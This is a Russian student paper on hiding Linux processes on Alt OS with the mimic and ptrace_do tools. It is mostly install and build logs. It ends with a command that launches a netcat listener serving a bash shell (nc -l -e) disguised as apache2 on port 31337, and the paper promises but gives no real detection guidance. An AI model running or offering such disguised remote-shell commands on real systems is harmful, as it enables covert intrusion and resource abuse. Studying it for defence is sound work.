

Майнеры, подмена процессов

Горлов Антон Вадимович

Ноженко Кирилл Эдуардович

Студенты

РГУ нефти и газа (НИУ) имени И.М. Губкина, Москва, Россия

Аннотация. Эта статья посвящена исследованию методов подмены процессов, которые злоумышленники применяют для скрытной эксплуатации вычислительных ресурсов на российских ОС на базе Linux. Анализируются особенности реализации атак в рамках отечественного программного обеспечения. Особое внимание уделяется влиянию таких атак на производительность и безопасность систем, и тому, как распознать такие атаки.

Ключевые слова: Linux, подмена процессов, майнеры, скрытое исполнение, манипуляция файлов /proc, mimic.

Для цитирования: Горлов А.В. & Ноженко К.Э. (2025). Майнеры, подмена процессов.

Miners, process substitution

Gorlov Anton Vadimovich

Nozhenko Kirill Eduardovich

Students

Annotation. This article is devoted to the study of process substitution methods used by attackers to secretly exploit computing resources on Russian Linux-based operating systems. The article analyzes the features of the implementation of attacks in the framework of domestic software. Special attention is paid to the impact of such attacks on the performance and security of systems, and how to recognize such attacks.

Keywords: Linux, process substitution, miners, hidden execution, manipulation of /proc files, mimic.

For citation: Gorlov A.V. & Nozhenko K.E. (2025). Miners, process substitution.

ВВЕДЕНИЕ

В этой статье мы рассмотрим, как можно применить пакет утилит `mimic` в ОС Альт для маскировки процессов под любую другую программу. Это означает, что мы можем фактически подменять процессы.

Что представляет собой «скрытое исполнение»? Скрытое исполнение — это скрывание процесса от посторонних глаз. В этом случае имитация процесса маскирует его, делая невидимым для окружающих. `Mimic` способен запустить любую программу и замаскировать ее под другую. Любой пользователь может воспользоваться этой технологией, не требующей специальных разрешений, специальных двоичных файлов или root-прав.

`Mimic` функционирует, модифицируя внутренние механизмы процесса таким образом, что он становится невидимым для записи в `/proc`, относящейся к этому процессу. Все инструменты, предназначенные для анализа характера процесса, опираются на изучение `/proc`. Если мы сможем манипулировать данными `/proc`, то сможем сделать процесс незаметным для всех. Поскольку мы изменяем только состояние процесса, которым управляем, любой пользователь может успешно запустить имитацию.

Возможно ли распознать подделку? Да, разумеется, но лишь при условии, что вы проявите предельную осторожность или воспользуетесь специальным инструментом для проведения криминалистической экспертизы, способным выявить подобные несоответствия.

Преимущество имитации заключается в том, что она изначально не вызывает никаких подозрений. Чтобы это работало в контексте скриптов необходимо запустить `mimic` непосредственно в интерпретаторе.

Система «`mimic`» создана для тех, кто по закону имеет право на сохранение тайны своих действий до их выполнения. Применение в корыстных целях карается законодательством РФ [1].

Специалисты в сфере информационной безопасности, такие как специалисты по тестированию на проникновение и исследователи, могут проводить тайные операции, предварительно получив одобрение от юридических и кадровых служб.

`set_target_pid` — это небольшая вспомогательная программа, входящая в состав набора `mimic`, которая предназначена для вытеснения процессов до тех пор, пока не будет найден желаемый процесс.

С помощью этой программы можно выбирать, в какой части списка процессов должен находиться искомый процесс. Стоит отметить, что ядро резервирует первые 300 PID для своих потоков. Попытка использовать PID ниже 300 может привести к сбою работы системы [3].

МЕТОДОЛОГИЯ ПОДМЕНЫ ПРОЦЕССОВ

Для проведения эксперимента будем использовать ОС Альт. Для осуществления задуманного нам потребуется один компьютер, подключенный к сети Wi-Fi. На этом компьютере мы установим все необходимые инструменты, которые позволят нам скрывать процессы.

На первом этапе необходимо выполнить команду `apt-get update` [4], чтобы обновить локальный список пакетов в системе. Эта команда синхронизирует локальный кэш пакетов с репозиториями, указанными в файле `/etc/apt/sources.list`.

```
ALT login: root
Password:
[root@ALT ~]# apt-get update
Get:1 http://ftp.altlinux.org p10/branch/x86_64 release [4223B]
Get:2 http://ftp.altlinux.org p10/branch/x86_64-i586 release [1665B]
Get:3 http://ftp.altlinux.org p10/branch/noarch release [2844B]
Fetched 8732B in 0s (118kB/s)
Get:1 http://ftp.altlinux.org p10/branch/x86_64/classic pkglist [24.4MB]
Get:2 http://ftp.altlinux.org p10/branch/x86_64/classic release [137B]
Get:3 http://ftp.altlinux.org p10/branch/x86_64-i586/classic pkglist [17.9MB]
Get:4 http://ftp.altlinux.org p10/branch/x86_64-i586/classic release [142B]
Get:5 http://ftp.altlinux.org p10/branch/noarch/classic pkglist [7288kB]
Get:6 http://ftp.altlinux.org p10/branch/noarch/classic release [137B]
Fetched 49.6MB in 9s (4978kB/s)
Reading Package Lists... Done
Building Dependency Tree... Done
```

Рисунок 1. Обновление локальных списков пакетов.

Figure 1. Updating local package lists.

На следующем этапе выполняем команду `apt-get install git` [4] для установки системы контроля версий Git на ОС Альт. После установки команды Git становятся доступны в системе. Проверить успешную установку можно с помощью команды:

```
git --version
```

```
[root@ALT ~]# apt-get install git
Reading Package Lists... Done
Building Dependency Tree... Done
The following extra packages will be installed:
  diffstat git-core perl-Error perl-Git perl-TermReadKey perl-libintl
The following NEW packages will be installed:
  diffstat git git-core perl-Error perl-Git perl-TermReadKey perl-libintl
0 upgraded, 7 newly installed, 0 removed and 83 not upgraded.
Need to get 4408kB of archives.
After unpacking 26.3MB of additional disk space will be used.
Do you want to continue? [Y/n] y
Get:1 http://ftp.altlinux.org p10/branch/x86_64/classic diffstat 1.64-alt1:sisuphus+270100.700.1.1e1626056683 [35.6kB]
Get:2 http://ftp.altlinux.org p10/branch/noarch/classic perl-Error 0.17029-alt1:sisuphus+245975.100.1.1e1581530233 [18.5kB]
Get:3 http://ftp.altlinux.org p10/branch/x86_64/classic perl-libintl 1.32-alt1:sisuphus+279723.5100.1.1e1626650309 [155kB]
Get:4 http://ftp.altlinux.org p10/branch/x86_64/classic perl-TermReadKey 2.38-alt1.1:sisuphus+279723.1000.1.1e1626649040 [22.7kB]
Get:5 http://ftp.altlinux.org p10/branch/x86_64/classic git-core 2.42.2-alt1:p10+350723.100.3.1e1718390536 [4084kB]
Get:6 http://ftp.altlinux.org p10/branch/noarch/classic perl-Git 2.42.2-alt1:p10+350723.100.3.1e1718390536 [62.0kB]
Get:7 http://ftp.altlinux.org p10/branch/x86_64/classic git 2.42.2-alt1:p10+350723.100.3.1e1718390536 [29.6kB]
Fetched 4408kB in 0s (5648kB/s)
Committing changes...
Preparing...
Updating / installing...
1: perl-TermReadKey-2.38-alt1.1
2: perl-libintl-1.32-alt1
3: perl-Error-0.17029-alt1
4: diffstat-1.64-alt1
5: git-core-2.42.2-alt1
6: perl-Git-2.42.2-alt1
7: git-2.42.2-alt1
Done.
```

Рисунок 2. Установка утилиты Git.

Figure 2. The Git utility installation.

На следующем этапе необходимо установить GCC (GNU Compiler Collection). GCC является инструментом для сборки и компиляции программ, написанных на C или C++. Для этого используем команду [4]:

```
apt-get install gcc
```

В маскировке процессов GCC необходим для компиляции кастомного кода или модулей, которые могут быть использованы для анализа или управления процессами в системе.

```
The following extra packages will be installed:
  binutils gcc10 glibc glibc-devel glibc-kernheaders glibc-kernheaders-generic glibc-kernheaders-x86 kernel-headers-common libasan6 libatomic1 libcrypt-devel
  libctf-nobfd0 libitm1 liblsan0 libtsan0 libubsan0
The following NEW packages will be installed:
  binutils gcc gcc10 glibc glibc-devel glibc-kernheaders glibc-kernheaders-generic glibc-kernheaders-x86 kernel-headers-common libasan6 libatomic1
  libcrypt-devel libctf-nobfd0 libitm1 liblsan0 libtsan0 libubsan0
0 upgraded, 17 newly installed, 0 removed and 83 not upgraded.
Need to get 19.6MB of archives.
After unpacking 77.8MB of additional disk space will be used.
Do you want to continue? [Y/n] y
Get:1 http://ftp.altlinux.org p10/branch/x86_64/classic libctf-nobfd0 1:2.35.2-alt3:p10+351506.400.4.101719412854 [71.3kB]
Get:2 http://ftp.altlinux.org p10/branch/x86_64/classic binutils 1:2.35.2-alt3:p10+351506.400.4.101719412854 [4501kB]
Get:3 http://ftp.altlinux.org p10/branch/noarch/classic glibc-kernheaders-generic 6.1-alt1:p10+319975.100.1.101683306750 [1314kB]
Get:4 http://ftp.altlinux.org p10/branch/noarch/classic glibc-kernheaders-x86 6.1-alt1:p10+319975.100.1.101683306750 [57.2kB]
Get:5 http://ftp.altlinux.org p10/branch/x86_64/classic glibc-kernheaders 6.1-alt1:p10+319975.100.1.101683306750 [16.7kB]
Get:6 http://ftp.altlinux.org p10/branch/x86_64/classic kernel-headers-common 1.2.7-alt1:sisyphus+276996.100.1.101625525890 [13.6kB]
Get:7 http://ftp.altlinux.org p10/branch/x86_64/classic libcrypt-devel 4.4.23-alt1:sisyphus+278099.2100.1.101626029250 [17.5kB]
Get:8 http://ftp.altlinux.org p10/branch/x86_64/classic glibc 6:2.32-alt5.p10.3:p10+347164.100.4.101714662490 [43.1kB]
Get:9 http://ftp.altlinux.org p10/branch/x86_64/classic glibc-devel 6:2.32-alt5.p10.3:p10+347164.100.4.101714662490 [458kB]
Get:10 http://ftp.altlinux.org p10/branch/x86_64/classic libatomic1 10.3.1-alt2:sisyphus+277353.100.2.101625525890 [37.6kB]
Get:11 http://ftp.altlinux.org p10/branch/x86_64/classic libasan6 10.3.1-alt2:sisyphus+277353.100.2.101625525890 [368kB]
Get:12 http://ftp.altlinux.org p10/branch/x86_64/classic libtsan0 10.3.1-alt2:sisyphus+277353.100.2.101625525890 [342kB]
Get:13 http://ftp.altlinux.org p10/branch/x86_64/classic libitm1 10.3.1-alt2:sisyphus+277353.100.2.101625525890 [54.3kB]
Get:14 http://ftp.altlinux.org p10/branch/x86_64/classic liblsan0 10.3.1-alt2:sisyphus+277353.100.2.101625525890 [171kB]
Get:15 http://ftp.altlinux.org p10/branch/x86_64/classic libubsan0 10.3.1-alt2:sisyphus+277353.100.2.101625525890 [40.6kB]
Get:16 http://ftp.altlinux.org p10/branch/x86_64/classic gcc10 10.3.1-alt2:sisyphus+277353.100.2.101625525890 [12.0MB]
Get:17 http://ftp.altlinux.org p10/branch/x86_64/classic gcc 10-alt1:sisyphus+263054.200.3.101607517515 [5428B]
Fetched 19.6MB in 2s (7069kB/s)
Committing changes...
Preparing...
Updating / installing...
 1: glibc-kernheaders-generic-6.1-alt1
 2: glibc-kernheaders-x86-6.1-alt1
 3: glibc-kernheaders-6.1-alt1
 4: kernel-headers-common-1.2.7-alt1
 5: libubsan0-10.3.1-alt2
 6: libtsan0-10.3.1-alt2
 7: libitm1-10.3.1-alt2
 8: liblsan0-10.3.1-alt2
 9: libasan6-10.3.1-alt2
10: libatomic1-10.3.1-alt2
11: glibc-6.2.32-alt5.p10.3
12: libcrypt-devel-4.4.23-alt1
13: glibc-devel-6.2.32-alt5.p10.3
14: libctf-nobfd0-1:2.35.2-alt3
15: binutils-1:2.35.2-alt3
16: gcc10-10.3.1-alt2
17: gcc-10-alt1
Done.
```

Рисунок 3. Установка утилиты GCC.

Figure 3. The GCC utility installation.

Далее необходимо загрузить исходные коды нескольких проектов из репозитория GitHub [2]. Первый необходимый проект это – ptrace_do. Ptrace_do представляет из себя инструмент, использующий системный вызов ptrace для управления процессами.

```
(root@ALT ~) # git clone https://github.com/emptymonkey/ptrace_do.git
Cloning into 'ptrace_do'...
remote: Enumerating objects: 86, done.
remote: Counting objects: 100% (4/4), done.
remote: Compressing objects: 100% (4/4), done.
remote: Total 86 (delta 0), reused 1 (delta 0), pack-reused 82 (from 1)
Receiving objects: 100% (86/86), 33.73 KiB | 401.00 KiB/s, done.
Resolving deltas: 100% (46/46), done.
```

Рисунок 4. Клонирование репозитория ptrace_do.

Figure 4. Cloning the ptrace_do repository.

Еще один проект, который нам потребуется, это mimic [2]. Проект mimic предоставляет инструменты для манипуляции процессами в системе. Он может быть полезен для создания симуляции или внедрения процессов с измененными характеристиками, чтобы усложнить их обнаружение.

```
(root@ALT ~) # git clone https://github.com/emptymonkey/mimic.git
Cloning into 'mimic'...
remote: Enumerating objects: 77, done.
remote: Total 77 (delta 0), reused 0 (delta 0), pack-reused 77 (from 1)
Receiving objects: 100% (77/77), 32.03 KiB | 504.00 KiB/s, done.
Resolving deltas: 100% (40/40), done.
```

Рисунок 5. Клонирование репозитория mimic.

Figure 5. Cloning the mimic repository.

На следующем шаге необходимо выполнить сборку двух проектов (ptrace_do и mimic), с использованием утилиты make, которая автоматизирует процесс компиляции.

Переходим в папку проекта ptrace_do, где находятся его исходные файлы и файл Makefile. Команда make [1] считывает инструкции из файла Makefile в директории ptrace_do и выполняет все необходимые шаги для компиляции.

После завершения сборки возвращаемся в корневую директорию и переходим в директорию проекта mimic, после чего аналогично выполняем сборку данного проекта.

Компиляция проектов ptrace_do и mimic превращает их исходный код в готовые к использованию инструменты. Эти программы могут быть использованы для работы с процессами в системе, включая их управление и маскировку.

```
(root@ALT ~) # cd ptrace_do/
(root@ALT ptrace_do) # make
gcc -std=gnu99 -Wall -Wextra -pedantic -O3 -c parse_maps.c
gcc -std=gnu99 -Wall -Wextra -pedantic -O3 -c libptrace_do.c
ar rcs libptrace_do.a libptrace_do.o parse_maps.o
ranlib libptrace_do.a
gcc -std=gnu99 -Wall -Wextra -pedantic -O3 -L. -o test test.c -lptrace_do
```

Рисунок 6. Компиляция проекта ptrace_do.

Figure 6. Compiling the ptrace_do project.

```
[root@ALT ptrace_do]# cd ..
[root@ALT ~]# cd mimic
[root@ALT mimic]# make
gcc -std=gnu99 -Wall -Wextra -Os -c -o string_to_vector.o string_to_vector.c
gcc -std=gnu99 -Wall -Wextra -Os -c -o wordexp_t_to_vector.o wordexp_t_to_vector.c
gcc -std=gnu99 -Wall -Wextra -Os -I../ptrace_do -L../ptrace_do string_to_vector.o wordexp_t_to_vector.o -o mimic mimic.c -lptrace_do
gcc -std=gnu99 -Wall -Wextra -Os -o set_target_pid set_target_pid.c
```

Рисунок 7. Компиляция проекта mimic.

Figure 7. Compiling the mimic project.

На данном этапе можно попробовать запустить слушателя Netcat как обычного пользователя [1].

```
[root@ALT mimic]# ./mimic -b -e "/usr/local/bin/nc -l -e \"./mimic -e /bin/bash\""
Launching child... Success!
Waiting for child to attach... Success!
Initializing ptrace_do... Success!
Determining stack state... Success!
Politely requesting name change... Success!
Searching for main... Success!
Building execution headers... Success!
Setting up final state... Success!
[root@ALT mimic]#
```

Рисунок 8. Запускаем замаскированный процесс.

Figure 8. Launching the masked process.

Как мы видим, процесс успешно запущен. Теперь проверим, так ли это на самом деле [1].

```
[root@ALT mimic]# ps aux | grep apache
root    902307 19.5  0.0  4848  134 tty2    S   18:43   0:02 /usr/sbin/apache2 -k start
root    902311  0.0  0.0   644    4 tty2    R+  18:43   0:00 grep apache
```

Рисунок 9. Проверка запущенных процессов.

Figure 9. Checking running processes.

```
[root@ALT mimic]# lsof -i -n -P | grep apache
apache2  902307  root    3u    IPv6  13871    0t0  TCP  *:31337 (LISTEN)
apache2  902307  root    4u    IPv4  13872    0t0  TCP  *:31337 (LISTEN)
```

Рисунок 10. Проверка запущенных процессов.

Figure 10. Checking running processes.

Процессы действительно запущены.

ЗАКЛЮЧЕНИЕ

В заключение, можно сказать, что в операционной системе Альт существует возможность скрывать или маскировать процессы. Благодаря таким инструментам, как `ptrace_do` и `mimic`, мы можем разрабатывать эффективные методы для скрывания или маскировки процессов. В ходе нашей работы мы рассмотрели как установить необходимые зависимости, клонировать репозитории и собрать проекты.

СПИСОК ЛИТЕРАТУРЫ

- 1) Emptymonkey/mimic: Hide processes as a normal user in Linux // GitHub URL: <https://github.com/emptymonkey/mimic/tree/main> (Дата обращения 02.01.2025)
- 2) Как установить и настроить Git на ОС Linux // Руцентр URL: https://www.nic.ru/help/kak-ustanovit6-i-nastroit6-git-na-os-linux_11806.html
(Дата обращения 29.12.2024)
- 3) Изучаем процессы в Linux // Хабр URL: <https://habr.com/ru/articles/423049/>
(Дата обращения 29.12.2024)
- 4) Команды APT // ALT Linux WIKI URL: https://www.altlinux.org/Главная_страница
(Дата обращения 29.12.2024)
- 5) Уймин, А. Г. Сетевое и системное администрирование. Демонстрационный экзамен КОД 1.1 : учебно-методическое пособие для спо / А. Г. Уймин – Москва : Лань, 2022. – 480с. - ISBN 978-5-8114-9255-8.

Горлов А.В., Ноженко К.Э., 2025